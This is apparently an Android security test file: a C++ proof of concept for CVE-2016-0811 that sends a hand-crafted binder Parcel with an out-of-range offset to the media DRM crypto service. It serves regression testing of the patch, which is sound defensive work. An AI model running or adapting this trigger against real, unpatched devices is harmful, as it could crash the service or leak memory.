hostsidetests/securitybulletin/securityPatch/CVE-2016-0811/poc.cpp

/**
 * Copyright (C) 2019 The Android Open Source Project
 *
 * Licensed under the Apache License, Version 2.0 (the "License");
 * you may not use this file except in compliance with the License.
 * You may obtain a copy of the License at
 *
 *      http://www.apache.org/licenses/LICENSE-2.0
 *
 * Unless required by applicable law or agreed to in writing, software
 * distributed under the License is distributed on an "AS IS" BASIS,
 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 * See the License for the specific language governing permissions and
 * limitations under the License.
 */
#include <binder/IServiceManager.h>
#include <binder/MemoryDealer.h>
#include <media/ICrypto.h>
#include <media/IDrm.h>
#include <media/IMediaDrmService.h>

using namespace android;

template <typename T>
void mediaPoc(BpInterface<T> *sit) {
  Parcel data, reply;
  data.writeInterfaceToken(sit->getInterfaceDescriptor());
  data.writeInt32(0);
  data.writeInt32(0);
  static const uint8_t kDummy[16] = {0};
  data.write(kDummy, 16);
  data.write(kDummy, 16);
  const int wsize = 16 * 1024;
  sp<MemoryDealer> dealer = new MemoryDealer(wsize);
  sp<IMemory> memory = dealer->allocate(wsize);
  data.writeInt32(wsize);
  data.writeStrongBinder(IInterface::asBinder(memory));
  const int ss = 0x1;
  data.writeInt32(0xffffff00);
  data.writeInt32(ss);
  CryptoPlugin::SubSample samples[ss];
  for (int i = 0; i < ss; i++) {
    samples[i].mNumBytesOfEncryptedData = 0;
    samples[i].mNumBytesOfClearData = wsize;
  }
  data.write(samples, sizeof(CryptoPlugin::SubSample) * ss);
  char out[wsize] = {0};
  reply.read(out, wsize);
}

static const uint8_t kClearKeyUUID[16] = {0x10, 0x77, 0xEF, 0xEC, 0xC0, 0xB2,
                                          0x4D, 0x02, 0xAC, 0xE3, 0x3C, 0x1E,
                                          0x52, 0xE2, 0xFB, 0x4B};

int main(void) {
  status_t st;
  sp<ICrypto> crypto =
      interface_cast<IMediaDrmService>(
          defaultServiceManager()->getService(String16("media.drm")))
          ->makeCrypto();

  sp<IDrm> drm = interface_cast<IMediaDrmService>(
                     defaultServiceManager()->getService(String16("media.drm")))
                     ->makeDrm();

  Vector<uint8_t> sess;
  st = drm->createPlugin(kClearKeyUUID, (String8) "test");
  st = drm->openSession(DrmPlugin::kSecurityLevelMax, sess);
  st = crypto->createPlugin(kClearKeyUUID, sess.array(), sess.size());
  BpInterface<ICrypto> *sit = static_cast<BpInterface<ICrypto> *>(crypto.get());
  mediaPoc(sit);
  return 0;
}